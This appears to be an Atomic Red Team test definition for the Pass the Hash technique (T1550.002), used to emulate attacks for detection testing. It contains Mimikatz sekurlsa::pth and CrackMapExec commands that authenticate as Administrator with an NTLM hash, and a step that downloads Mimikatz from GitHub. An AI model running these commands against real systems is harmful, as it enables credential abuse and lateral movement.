attack_technique: T1550.002
display_name: 'Use Alternate Authentication Material: Pass the Hash'
atomic_tests:
- name: Mimikatz Pass the Hash
  auto_generated_guid: ec23cef9-27d9-46e4-a68d-6f75f7b86908
  description: |
    Note: must dump hashes first
    [Reference](https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#pth)
  supported_platforms:
  - windows
  input_arguments:
    user_name:
      description: username
      type: String
      default: Administrator
    ntlm:
      description: ntlm hash
      type: String
      default: cc36cf7a8514893efccd3324464tkg1a
    domain:
      description: domain
      type: String
      default: '%userdnsdomain%'
    mimikatz_path:
      description: mimikatz windows executable
      type: Path
      default: '%tmp%\mimikatz\x64\mimikatz.exe'
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})
    prereq_command: |
      $mimikatz_path = cmd /c echo #{mimikatz_path}
      if (Test-Path $mimikatz_path) {exit 0} else {exit 1}
    get_prereq_command: |
      $mimikatz_path = cmd /c echo #{mimikatz_path}
      $mimikatz_relative_uri = Invoke-WebRequest "https://github.com/gentilkiwi/mimikatz/releases/latest" -UseBasicParsing | Select-Object -ExpandProperty Links | Where-Object -Property href -Like "*/mimikatz_trunk.zip" | Select-Object -ExpandProperty href
      Invoke-WebRequest "https://github.com$mimikatz_relative_uri" -UseBasicParsing -OutFile "$env:TEMP\mimikatz.zip"
      Expand-Archive $env:TEMP\mimikatz.zip $env:TEMP\mimikatz -Force
      New-Item -ItemType Directory (Split-Path $mimikatz_path) -Force | Out-Null
      Move-Item $env:TEMP\mimikatz\x64\mimikatz.exe $mimikatz_path -Force
  executor:
    command: |
      #{mimikatz_path} "sekurlsa::pth /user:#{user_name} /domain:#{domain} /ntlm:#{ntlm}"
    name: command_prompt
- name: crackmapexec Pass the Hash
  auto_generated_guid: eb05b028-16c8-4ad8-adea-6f5b219da9a9
  description: |
    command execute with crackmapexec
  supported_platforms:
  - windows
  input_arguments:
    user_name:
      description: username
      type: String
      default: Administrator
    crackmapexec_exe:
      description: crackmapexec windows executable
      type: Path
      default: C:\CrackMapExecWin\crackmapexec.exe
    command:
      description: command to execute
      type: String
      default: whoami
    ntlm:
      description: command
      type: String
      default: cc36cf7a8514893efccd3324464tkg1a
    domain:
      description: domain
      type: String
      default: '%userdnsdomain%'
  dependency_executor_name: powershell
  dependencies:
  - description: |
      CrackMapExec executor must exist on disk at specified location (#{crackmapexec_exe})
    prereq_command: |
      if(Test-Path #{crackmapexec_exe}) {exit 0} else {exit 1}
    get_prereq_command: |
      Write-Host Automated installer not implemented yet, please install crackmapexec manually at this location: #{crackmapexec_exe}
  executor:
    command: |
      #{crackmapexec_exe} #{domain} -u #{user_name} -H #{ntlm} -x #{command}
    name: command_prompt
